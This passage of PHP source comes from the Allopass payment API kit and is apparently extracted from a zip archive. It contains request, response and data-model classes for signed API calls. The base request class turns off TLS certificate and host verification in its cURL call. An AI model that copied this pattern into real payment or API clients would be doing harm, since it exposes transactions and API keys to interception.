Hi-media */ class AllopassPayout { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the payout currency * * @return (string) The payout currency */ public function getCurrency() { return (string) $this->_xml->attributes()->currency; } /** * Method retrieving the payout amount * * @return (float) The payout amount */ public function getAmount() { return (float) $this->_xml->attributes()->amount; } /** * Method retrieving the payout exchange rate * * @return (double) The payout exchange rate */ public function getExchange() { return (double) $this->_xml->attributes()->exchange; } /** * Method retrieving the payout reference currency * * @return (string) The payout reference currency */ public function getReferenceCurrency() { return (string) $this->_xml->attributes()->reference_currency; } /** * Method retrieving the payout reference amount * * @return (float) The payout reference amount */ public function getReferenceAmount() { return (float) $this->_xml->attributes()->reference_amount; } }PK\>payment/allopass/apikit/model/AllopassProductDetailRequest.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassProductDetailRequest extends AllopassApiRequest { /** * Route path of the API */ const PATH = 'product'; /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { parent::__construct($parameters, $mapping, $emailAccount); } /** * Provide a way to get the route of the request * * @return (string) The route of the request */ protected function _getPath() { return self::PATH; } /** * Provide a way to get the wired response of the request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassProductDetailResponse) A new response */ protected function _newResponse($signature, $headers, $body) { return new AllopassProductDetailResponse($signature, $headers, $body); } }PK\.1payment/allopass/apikit/model/AllopassProduct.phpnu[ * * @date 2011 (c) Hi-media */ class AllopassProduct { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the product id * * @return (integer) The product id */ public function getId() { return (integer) $this->_xml->attributes()->id; } /** * Method retrieving the product name * * @return (string) The product name */ public function getName() { return (string) $this->_xml->attributes()->name; } }PK\1Cpayment/allopass/apikit/model/AllopassSubscriptionDetailRequest.phpnu[ * * @date 2011 (c) Hi-media */ class AllopassSubscriptionDetailRequest extends AllopassApiRequest { /** * Route path of the API */ const PATH = 'subscription'; /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { parent::__construct($parameters, $mapping, $emailAccount); } /** * Provide a way to get the route of the request * * @return (string) The route of the request */ protected function _getPath() { return self::PATH; } /** * Provide a way to get the wired response of the request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassSubscriptionDetailResponse) A new response */ protected function _newResponse($signature, $headers, $body) { return new AllopassSubscriptionDetailResponse($signature, $headers, $body); } }PK\uFpayment/allopass/apikit/model/AllopassOnetimeDiscreteButtonRequest.phpnu[ * * @date 2010 (c) Hi-media */ class AllopassOnetimeDiscreteButtonRequest extends AllopassApiRequest { /** * Route path of the API */ const PATH = 'onetime/discrete-button'; /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { parent::__construct($parameters, $mapping, $emailAccount); } /** * Provide a way to get the route of the request * * @return (string) The route of the request */ protected function _getPath() { return self::PATH; } /** * Overload of internal method which determinates that request has to be done using POST * * @return (boolean) The request has to be done using POST */ protected function _isHttpPost() { return true; } /** * Provide a way to get the wired response of the request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassOnetimeButtonResponse) A new response */ protected function _newResponse($signature, $headers, $body) { return new AllopassOnetimeButtonResponse($signature, $headers, $body); } }PK\mD/payment/allopass/apikit/model/AllopassOffer.phpnu[ * * @date 2011 (c) Hi-media */ class AllopassOffer { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the offer id * * @return (integer) The offer id */ public function getId() { return (integer) $this->_xml->attributes()->id; } /** * Method retrieving the offer name * * @return (string) The offer name */ public function getName() { return (string) $this->_xml->attributes()->name; } }PK\ʣBpayment/allopass/apikit/model/AllopassSubscriptionLoginRequest.phpnu[ * * @date 2011 (c) Hi-media */ class AllopassSubscriptionLoginRequest extends AllopassApiRequest { /** * Route path of the API */ const PATH = 'subscription/login'; /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { parent::__construct($parameters, $mapping, $emailAccount); } /** * Provide a way to get the route of the request * * @return (string) The route of the request */ protected function _getPath() { return self::PATH; } /** * Provide a way to get the wired response of the request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassSubscriptionLoginResponse) A new response */ protected function _newResponse($signature, $headers, $body) { return new AllopassSubscriptionLoginResponse($signature, $headers, $body); } }PK\U+5payment/allopass/apikit/model/AllopassPeriodicity.phpnu[ * * @date 2011 (c) Hi-media */ class AllopassPeriodicity { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the periodicity value * * @return (integer) The periodicity value */ public function getValue() { return (integer) $this->_xml->attributes()->value; } /** * Method retrieving the periodicity unit * * @return (string) The periodicity unit */ public function getUnit() { return (string) $this->_xml->attributes()->unit; } }PK\I$kkCpayment/allopass/apikit/model/AllopassSubscriptionLoginResponse.phpnu[ * * @date 2011 (c) Hi-media */ class AllopassSubscriptionLoginResponse extends AllopassApiMappingResponse { /** * The login is successful */ const LOGIN_SUCCESS = 0; /** * The login failed */ const LOGIN_FAILED = 1; /** * Constructor * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response */ public function __construct($signature, $headers, $body) { parent::__construct($signature, $headers, $body); } /** * Method retrieving the validation status * * @return (integer) The validation status */ public function getStatus() { return (integer) $this->_xml->status; } /** * Method retrieving the validation status description * * @return (string) The validation status description */ public function getStatusDescription() { return (string) $this->_xml->status_description; } }PK\z#1payment/allopass/apikit/model/AllopassCountry.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassCountry { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the country code * * @return (string) The country code */ public function getCode() { return (string) $this->_xml->attributes()->code; } /** * Method retrieving the country name * * @return (string) The country name */ public function getName() { return (string) $this->_xml->attributes()->name; } }PK\Kss<payment/allopass/apikit/model/AllopassApiMappingResponse.phpnu[ * * @date 2009 (c) Hi-media */ abstract class AllopassApiMappingResponse extends AllopassApiResponse { /** * (SimpleXMLElement) The SimpleXML object representation of the response */ protected $_xml; /** * Constructor * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response */ public function __construct($signature, $headers, $body) { parent::__construct($signature, $headers, $body); $this->_xml = AllopassApiTools::xmlParseString($this->_body); $this->_verify(); } /** * Overload of parent internal method providing signature verification * * @throws AllopassApiWrongFormatResponseException If response doesn't contain valid XML * * @throws AllopassApiRemoteErrorException if response describe a remote API exception */ protected function _verify() { if (!is_object($this->_xml)) { throw new AllopassApiWrongFormatResponseException(); } $attributes = $this->_xml->attributes(); if ((int) $attributes->code != 0) { throw new AllopassApiRemoteErrorException($attributes->code, $attributes->message); } parent::_verify(); } }PK\1payment/allopass/apikit/model/AllopassPartner.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassPartner { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the partner id * * @return (integer) The partner id */ public function getId() { return (integer) $this->_xml->attributes()->id; } /** * Method retrieving the partner share amount * * @return (float) The partner share amount */ public function getShare() { return (float) $this->_xml->attributes()->share; } /** * Method retrieving the partner map id * * @return (integer) The partner map id */ public function getMap() { return (integer) $this->_xml->attributes()->map; } }PK\37374payment/allopass/apikit/model/AllopassApiRequest.phpnu[ * * @date 2009 (c) Hi-media */ abstract class AllopassApiRequest { /** * The response format needed to provide response object mapping */ const MAPPING_FORMAT = 'xml'; /** * The API remote path */ const API_PATH = '/rest/'; /** * The HTTP connector */ const HTTP_CONNECTOR = '://'; /** * The HTTP query string connector */ const HTTP_QUERY_CONNECTOR = '?'; /** * The HTTP carriage return line feed */ const HTTP_CRLF = "\r\n"; /** * The HTTP version */ const HTTP_VERSION = '1.1'; /** * The HTTP chunk size */ const HTTP_CHUNK_SIZE = 4096; /** * The HTTP size of separator between headers and data */ const HTTP_HEADER_SEPARATOR_SIZE = 4; /** * The HTTP specific user agent header */ const HTTP_USER_AGENT = 'Allopass-ApiKit-PHP5'; /** * (array) Query string parameters of the API call */ protected $_parameters; /** * (boolean) If the request call has to return an object mapped response */ protected $_mapping; /** * (string) Email of the configurated account */ protected $_emailAccount; /** * Provide a way to get the route of each child request * * @return (string) The route of the request */ abstract protected function _getPath(); /** * Provide a way to get the wired response of each child request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassApiResponse) A new response regarding the type of the request */ abstract protected function _newResponse($signature, $headers, $body); /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { $this->_mapping = $mapping; parse_str(http_build_query($parameters, '', '&'), $this->_parameters); $this->_emailAccount = $emailAccount; } /** * Method to call the request and get its response * * @return (AllopassApiResponse) The request response */ public function call() { list($headers, $body) = $this->_buildParameters()->_sign()->_call(); $signature = $this->_hash($body . AllopassApiConf::getInstance()->getPrivateKey($this->_emailAccount)); return ($this->_mapping) ? $this->_newResponse($signature, $headers, $body) : new AllopassApiPlainResponse($signature, $headers, $body); } /** * Internal method to build special required API parameters * * @return (AllopassApiRequest) The class instance */ protected function _buildParameters() { static $formats = array('json', 'xml'); $this->_parameters['api_ts'] = time(); $this->_parameters['api_key'] = AllopassApiConf::getInstance()->getApiKey($this->_emailAccount); $this->_parameters['api_hash'] = AllopassApiConf::getInstance()->getDefaultHash(); if (isset($this->_parameters['format'])) { if ($this->_mapping) { $this->_parameters['format'] = self::MAPPING_FORMAT; } elseif (!in_array($this->_parameters['format'], $formats)) { $this->_parameters['format'] = AllopassApiConf::getInstance()->getDefaultFormat(); } } else { $this->_parameters['format'] = AllopassApiConf::getInstance()->getDefaultFormat(); } return $this; } /** * Internal method to sign the request call * * @return (AllopassApiRequest) The class instance */ protected function _sign() { $sign = ''; ksort($this->_parameters); foreach ($this->_parameters as $key => &$value) { $sign .= $key; $sign .= (is_array($value)) ? implode($value) : $value; } $this->_parameters['api_sig'] = $this->_hash($sign . AllopassApiConf::getInstance()->getPrivateKey($this->_emailAccount)); return $this; } /** * Internal method to hash data with the defined cipher * * @param data (string) Data to be hashed * * @return (string) The hashed data * * @throws AllopassApiMissingHashFeatureException If configured cipher (SHA1) API isn't loaded/supported */ protected function _hash($data) { $cipher = AllopassApiConf::getInstance()->getDefaultHash(); if (!function_exists($cipher)) { throw new AllopassApiMissingHashFeatureException(); } return call_user_func($cipher, $data); } /** * Internal method which determinates if the request has to be done using POST * * @return (boolean) If the request has to be done using POST */ protected function _isHttpPost() { return false; } /** * Internal method which tries to call remote API * * @return (string[]) A 0-indexed array which contains response headers and body * * @throws AllopassApiMissingNetworkFeatureException If there is neither cURL nor fsockopen enabled/available */ protected function _call() { if (function_exists('curl_init')) { return $this->_curlCall(); } elseif (function_exists('fsockopen')) { return $this->_rawCall(); } else { throw new AllopassApiMissingNetworkFeatureException(); } } /** * Internal method performing a raw request using socket * * @return (string[]) A 0-indexed array which contains response headers and body * * @throws AllopassApiUnavailableRessourceException If raw call to remote API fails */ protected function _rawCall() { $host = AllopassApiConf::getInstance()->getHost(); if (($socket = @fsockopen($host, AllopassApiConf::getInstance()->getNetworkPort(), $socket_errno, $socket_errstr, AllopassApiConf::getInstance()->getNetworkTimeout())) === false) { throw new AllopassApiUnavailableRessourceException(); } $path = AllopassApiConf::getInstance()->getHost() . self::API_PATH . $this->_getPath(); if ($this->_isHttpPost()) { $method = 'POST'; $data = http_build_query($this->_parameters, '', '&'); $length = strlen($data); } else { $method = 'GET'; $data = ''; $length = 0; $path .= self::HTTP_QUERY_CONNECTOR . http_build_query($this->_parameters, '', '&'); } $headers = array(); $headers[] = 'Host: ' . $host; $headers[] = 'Content-Type: application/x-www-form-urlencoded'; $headers[] = 'User-Agent: ' . self::HTTP_USER_AGENT; $headers[] = 'Content-Length: ' . $length; $headers[] = 'Connection: close'; $request = $method . ' ' . AllopassApiConf::getInstance()->getNetworkProtocol() . self::HTTP_CONNECTOR; $request .= $path . ' HTTP/' . self::HTTP_VERSION . self::HTTP_CRLF; $request .= implode(self::HTTP_CRLF, $headers) . self::HTTP_CRLF; $request .= self::HTTP_CRLF . $data; if (fwrite($socket, $request, strlen($request)) === false) { throw new AllopassApiUnavailableRessourceException(); } $content = ''; while (!feof($socket)) { if (($line = fread($socket, self::HTTP_CHUNK_SIZE)) === false) { throw new AllopassApiUnavailableRessourceException(); } $content .= $line; } fclose($socket); $pos = strpos($content, self::HTTP_CRLF . self::HTTP_CRLF); if ($pos === false) { throw new AllopassApiUnavailableRessourceException(); } $headers = substr($content, 0, $pos); $body = substr($content, $pos + self::HTTP_HEADER_SEPARATOR_SIZE); $aHeaders = explode(self::HTTP_CRLF, $headers); foreach ($aHeaders as &$header) { if (AllopassApiTools::beginsWith($header, 'Transfer-Encoding') && AllopassApiTools::endsWith($header, 'chunked')) { $body = $this->_decodeChunkedBody($body); continue; } if (AllopassApiTools::beginsWith($header, 'Content-Encoding')) { if (AllopassApiTools::endsWith($header, 'gzip')) { $body = $this->_ungzipBody($body); } elseif (AllopassApiTools::endsWith($header, 'deflate')) { $body = $this->_inflateBody($body); } } } return array($headers, $body); } /** * Decode a gzipped content-encoded body * * @param body (string) The gzipped HTTP body * * @return (string) The ungzipped response body * * @throws AllopassApiMissingCompressionFeatureException If gzip inflate function isn't loaded */ protected function _ungzipBody($body) { if (!function_exists('gzinflate')) { throw new AllopassApiMissingCompressionFeatureException(); } return gzinflate(substr($body, 10)); } /** * Decode a deflated content-encoded body * * @param body (string) The deflated HTTP body * * @return (string) The inflated response body * * @throws AllopassApiMissingCompressionFeatureException If gzip uncompress function isn't loaded */ protected function _inflateBody($body) { if (!function_exists('gzuncompress')) { throw new AllopassApiMissingCompressionFeatureException(); } return gzuncompress($body); } /** * Decode a "chunked" transfer-encoded body * * @param body (string) The chunked HTTP body * * @return (string) The response body "chunk decoded" * * @throws AllopassApiWrongFormatResponseException If response body is not chunked whereas headers say so */ protected function _decodeChunkedBody($body) { $decBody = ''; $tokens = array(); while (trim($body)) { if (!preg_match('/^([\da-fA-F]+)[^\r\n]*\r\n/sm', $body, $tokens)) { throw new AllopassApiWrongFormatResponseException(); } $length = hexdec(trim($tokens[1])); $cut = strlen($tokens[0]); $decBody .= substr($body, $cut, $length); $body = substr($body, $cut + $length + 2); } return $decBody; } /** * Internal method performing a cURL request * * @return (string[]) A 0-indexed array which contains response headers and body * * @throws AllopassApiUnavailableRessourceException If cURL call to remote API fails */ protected function _curlCall() { $url = AllopassApiConf::getInstance()->getNetworkProtocol() . self::HTTP_CONNECTOR; $url .= AllopassApiConf::getInstance()->getHost() . self::API_PATH . $this->_getPath(); $curl = curl_init(); curl_setopt($curl, CURLOPT_TIMEOUT, AllopassApiConf::getInstance()->getNetworkTimeout()); curl_setopt($curl, CURLOPT_PORT, AllopassApiConf::getInstance()->getNetworkPort()); curl_setopt($curl, CURLOPT_HEADER, true); curl_setopt($curl, CURLOPT_USERAGENT, self::HTTP_USER_AGENT); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); if ($this->_isHttpPost()) { curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($this->_parameters, '', '&')); } else { $url .= self::HTTP_QUERY_CONNECTOR . http_build_query($this->_parameters, '', '&'); } curl_setopt($curl, CURLOPT_URL, $url); $content = @curl_exec($curl); if (curl_errno($curl) > 0 || $content === false || $content == '') { throw new AllopassApiUnavailableRessourceException(); } $headerSize = curl_getinfo($curl, CURLINFO_HEADER_SIZE); curl_close($curl); $headers = substr($content, 0, $headerSize - self::HTTP_HEADER_SEPARATOR_SIZE); $body = substr($content, $headerSize); return array($headers, $body); } }PK\ȴ/Gpayment/allopass/apikit/model/AllopassOnetimeDiscretePricingRequest.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassOnetimeDiscretePricingRequest extends AllopassApiRequest { /** * Route path of the API */ const PATH = 'onetime/discrete-pricing'; /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { parent::__construct($parameters, $mapping, $emailAccount); } /** * Provide a way to get the route of the request * * @return (string) The route of the request */ protected function _getPath() { return self::PATH; } /** * Provide a way to get the wired response of the request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassOnetimePricingResponse) A new response */ protected function _newResponse($signature, $headers, $body) { return new AllopassOnetimePricingResponse($signature, $headers, $body); } }PK\fGb b Dpayment/allopass/apikit/model/AllopassTransactionPrepareResponse.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassTransactionPrepareResponse extends AllopassApiMappingResponse { /** * Constructor * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response */ public function __construct($signature, $headers, $body) { parent::__construct($signature, $headers, $body); } /** * Method retrieving the transaction access-type * * @return (string) The transaction access-type */ public function getAccessType() { return (string) $this->_xml->access_type; } /** * Method retrieving the transaction id * * @return (string) The transaction id */ public function getTransactionId() { return (string) $this->_xml->transaction_id; } /** * Method retrieving the transaction creation date * * @return (AllopassDate) The transaction creation date */ public function getCreationDate() { return new AllopassDate($this->_xml->creation_date); } /** * Method retrieving the transaction's price * * @return (AllopassPrice) The transaction's price */ public function getPrice() { return new AllopassPrice($this->_xml->price); } /** * Method retrieving the transaction's pricepoint * * @return (AllopassPricepoint) The transaction's pricepoint */ public function getPricepoint() { return new AllopassPricepoint($this->_xml->pricepoint); } /** * Method retrieving the transaction's website * * @return (AllopassWebsite) The transaction's website */ public function getWebsite() { return new AllopassWebsite($this->_xml->website); } /** * Method retrieving the transaction buy url * * @return (string) The transaction buy url */ public function getBuyUrl() { return (string) $this->_xml->buy_url; } /** * Method retrieving the transaction checkout button HTML string * * @return (string) The transaction checkout button HTML string */ public function getCheckoutButton() { return (string) $this->_xml->checkout_button; } }PK\l).payment/allopass/apikit/model/AllopassCode.phpnu[ * * @date 2010 (c) Hi-media */ class AllopassCode { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the code value (the code string) * * @return (string) The code value */ public function getValue() { return (string) $this->_xml->value; } /** * Method retrieving the code pricepoint * * @return (AllopassPricepoint) The code pricepoint */ public function getPricepoint() { return new AllopassPricepoint($this->_xml->pricepoint); } /** * Method retrieving the code price * * @return (AllopassPrice) The code price */ public function getPrice() { return new AllopassPrice($this->_xml->price); } /** * Method retrieving the code paid price * * @return (AllopassPrice) The code paid price */ public function getPaid() { return new AllopassPrice($this->_xml->paid); } /** * Method retrieving the code payout * * @return (AllopassPrice) The code payout */ public function getPayout() { return new AllopassPrice($this->_xml->payout); } }PK\, , @payment/allopass/apikit/model/AllopassOnetimePricingResponse.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassOnetimePricingResponse extends AllopassApiMappingResponse { public function __construct($signature, $headers, $body) { parent::__construct($signature, $headers, $body); } /** * Method retrieving the creation date * * @return (AllopassDate) The creation date */ public function getCreationDate() { return new AllopassDate($this->_xml->creation_date); } /** * Method retrieving the customer ip * * @return (string) The customer ip */ public function getCustomerIp() { return (string) $this->_xml->customer_ip; } /** * Method retrieving the customer country * * @return (string) The customer country */ public function getCustomerCountry() { return (string) $this->_xml->customer_country; } /** * Method retrieving the website * * @return (AllopassWebsite) The website */ public function getWebsite() { return new AllopassWebsite($this->_xml->website); } /** * Method retrieving the countries * * @return (AllopassCountry[]) The countries */ public function getCountries() { $countries = array(); foreach ($this->_xml->countries->children() as $child) { foreach ($child->children() as $cChild) { $countries[] = new AllopassCountry($cChild); } } return $countries; } /** * Method retrieving the regions * * @return (AllopassRegion[]) The regions */ public function getRegions() { $regions = array(); foreach ($this->_xml->countries->children() as $child) { $regions[] = new AllopassRegion($child); } return $regions; } /** * Method retrieving the markets * * @return (AllopassMarket[]) The markets */ public function getMarkets() { $markets = array(); foreach ($this->_xml->markets->children() as $child) { $markets[] = new AllopassMarket($child); } return $markets; } }PK\C0payment/allopass/apikit/model/AllopassRegion.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassRegion { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the region name * * @return (string) The region name */ public function getName() { return (string) $this->_xml->attributes()->name; } /** * Method retrieving the region's countries * * @return (AllopassCountry[]) The region's countries */ public function getCountries() { $countries = array(); foreach ($this->_xml->children() as $child) { $countries[] = new AllopassCountry($child); } return $countries; } }PK\pӂf5payment/allopass/apikit/model/AllopassApiResponse.phpnu[ * * @date 2009 (c) Hi-media */ abstract class AllopassApiResponse { /** * (string) Expected response signature */ protected $_signature; /** * (string) HTTP headers of the response */ protected $_headers; /** * (string) Raw data of the response */ protected $_body; /** * Constructor * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response */ public function __construct($signature, $headers, $body) { $this->_signature = $signature; $this->_headers = $headers; $this->_body = $body; } /** * Internal method providing signature verification * * @throws AllopassApiFalseResponseSignatureException If the expected signature is not found among response headers */ protected function _verify() { if (!strpos($this->_headers, "X-Allopass-Response-Signature: {$this->_signature}")) { throw new AllopassApiFalseResponseSignatureException(); } } /** * Overload of parent __toString magic method * * @return (string) String representation of an API response (its body) */ public function __toString() { return $this->_body; } }PK\5Fpayment/allopass/apikit/model/AllopassOnetimeValidateCodesResponse.phpnu[ * * @date 2010 (c) Hi-media */ class AllopassOnetimeValidateCodesResponse extends AllopassApiMappingResponse { /** * The validation is successful */ const VALIDATECODES_SUCCESS = 0; /** * The validation failed */ const VALIDATECODES_FAILED = 1; /** * Constructor * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response */ public function __construct($signature, $headers, $body) { parent::__construct($signature, $headers, $body); } /** * Method retrieving the validation status * * @return (integer) The validation status */ public function getStatus() { return (integer) $this->_xml->status; } /** * Method retrieving the validation status description * * @return (string) The validation status description */ public function getStatusDescription() { return (string) $this->_xml->status_description; } /** * Method retrieving the access-type * * @return (string) The access-type */ public function getAccessType() { return (string) $this->_xml->access_type; } /** * Method retrieving the transaction id * * @return (string) The transaction id */ public function getTransactionId() { return (string) $this->_xml->transaction_id; } /** * Method retrieving the validation's price * * @return (AllopassPrice) The validation's price */ public function getPrice() { return new AllopassPrice($this->_xml->price); } /** * Method retrieving the validation's paid price * * @return (AllopassPrice) The validation's paid price */ public function getPaid() { return new AllopassPrice($this->_xml->paid); } /** * Method retrieving the validation date * * @return (AllopassDate) The validation date */ public function getValidationDate() { return new AllopassDate($this->_xml->validation_date); } /** * Method retrieving the product name * * @return (string) The product name */ public function getProductName() { return (string) $this->_xml->product_name; } /** * Method retrieving the website * * @return (AllopassWebsite) The website */ public function getWebsite() { return new AllopassWebsite($this->_xml->website); } /** * Method retrieving the customer ip * * @return (string) The customer ip */ public function getCustomerIp() { return (string) $this->_xml->customer_ip; } /** * Method retrieving the customer country * * @return (string) The customer country */ public function getCustomerCountry() { return (string) $this->_xml->customer_country; } /** * Method retrieving the expected number of codes * * @return (integer) The expected number of codes */ public function getExpectedNumberOfCodes() { return (integer) $this->_xml->expected_number_of_codes; } /** * Method retrieving the validation codes * * @return (AllopassCode[]) The validation codes */ public function getCodes() { $codes = array(); foreach ($this->_xml->codes->children() as $child) { $codes[] = new AllopassCode($child); } return $codes; } /** * Method retrieving the merchant transaction id * * @return (string) The merchant transaction id */ public function getMerchantTransactionId() { return (string) $this->_xml->merchant_transaction_id; } /** * Method retrieving the client data * * @return (string) The client data */ public function getData() { return (string) $this->_xml->data; } /** * Method retrieving the affiliate code * * @return (string) The affiliate code */ public function getAffiliate() { return (string) $this->_xml->affiliate; } /** * Method retrieving the partners * * @return (AllopassPartner[]) The partners */ public function getPartners() { $partners = array(); foreach ($this->_xml->partners->children() as $child) { $partners[] = new AllopassPartner($child); } return $partners; } }PK\iSa++5payment/allopass/apikit/model/AllopassPhoneNumber.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassPhoneNumber { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the phone number number * * @return (string) The phone number number */ public function getValue() { return (string) $this->_xml->attributes()->value; } /** * Method retrieving the phone number description * * @return (string) The phone number description */ public function getDescription() { return (string) $this->_xml->description; } }PK\||.payment/allopass/apikit/model/AllopassDate.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassDate { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the date timestamp * * @return (integer) The partner timestamp */ public function getTimestamp() { return (integer) $this->_xml->attributes()->timestamp; } /** * Method retrieving the date ISO-8601 representation * * @return (string) The date ISO-8601 representation */ public function getDate() { return (string) $this->_xml->attributes()->date; } }PK\GLCpayment/allopass/apikit/model/AllopassTransactionPrepareRequest.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassTransactionPrepareRequest extends AllopassApiRequest { /** * Route path of the API */ const PATH = 'transaction/prepare'; /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { parent::__construct($parameters, $mapping, $emailAccount); } /** * Provide a way to get the route of the request * * @return (string) The route of the request */ protected function _getPath() { return self::PATH; } /** * Overload of internal method which determinates that request has to be done using POST * * @return (boolean) The request has to be done using POST */ protected function _isHttpPost() { return true; } /** * Provide a way to get the wired response of the request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassTransactionPrepareResponse) A new response */ protected function _newResponse($signature, $headers, $body) { return new AllopassTransactionPrepareResponse($signature, $headers, $body); } }PK\>?payment/allopass/apikit/model/AllopassOnetimePricingRequest.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassOnetimePricingRequest extends AllopassApiRequest { /** * Route path of the API */ const PATH = 'onetime/pricing'; /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { parent::__construct($parameters, $mapping, $emailAccount); } /** * Provide a way to get the route of the request * * @return (string) The route of the request */ protected function _getPath() { return self::PATH; } /** * Provide a way to get the wired response of the request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassOnetimePricingResponse) A new response */ protected function _newResponse($signature, $headers, $body) { return new AllopassOnetimePricingResponse($signature, $headers, $body); } }PK\d?payment/allopass/apikit/model/AllopassOnetimeButtonResponse.phpnu[ * * @date 2010 (c) Hi-media */ class AllopassOnetimeButtonResponse extends AllopassApiMappingResponse { /** * Constructor * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response */ public function __construct($signature, $headers, $body) { parent::__construct($signature, $headers, $body); } /** * Method retrieving the button access-type * * @return (string) The button access-type */ public function getAccessType() { return (string) $this->_xml->access_type; } /** * Method retrieving the button id * * @return (string) The button id */ public function getButtonId() { return (string) $this->_xml->button_id; } /** * Method retrieving the button creation date * * @return (AllopassDate) The button creation date */ public function getCreationDate() { return new AllopassDate($this->_xml->creation_date); } /** * Method retrieving the button's website * * @return (AllopassWebsite) The button's website */ public function getWebsite() { return new AllopassWebsite($this->_xml->website); } /** * Method retrieving the button buy url * * @return (string) The button buy url */ public function getBuyUrl() { return (string) $this->_xml->buy_url; } /** * 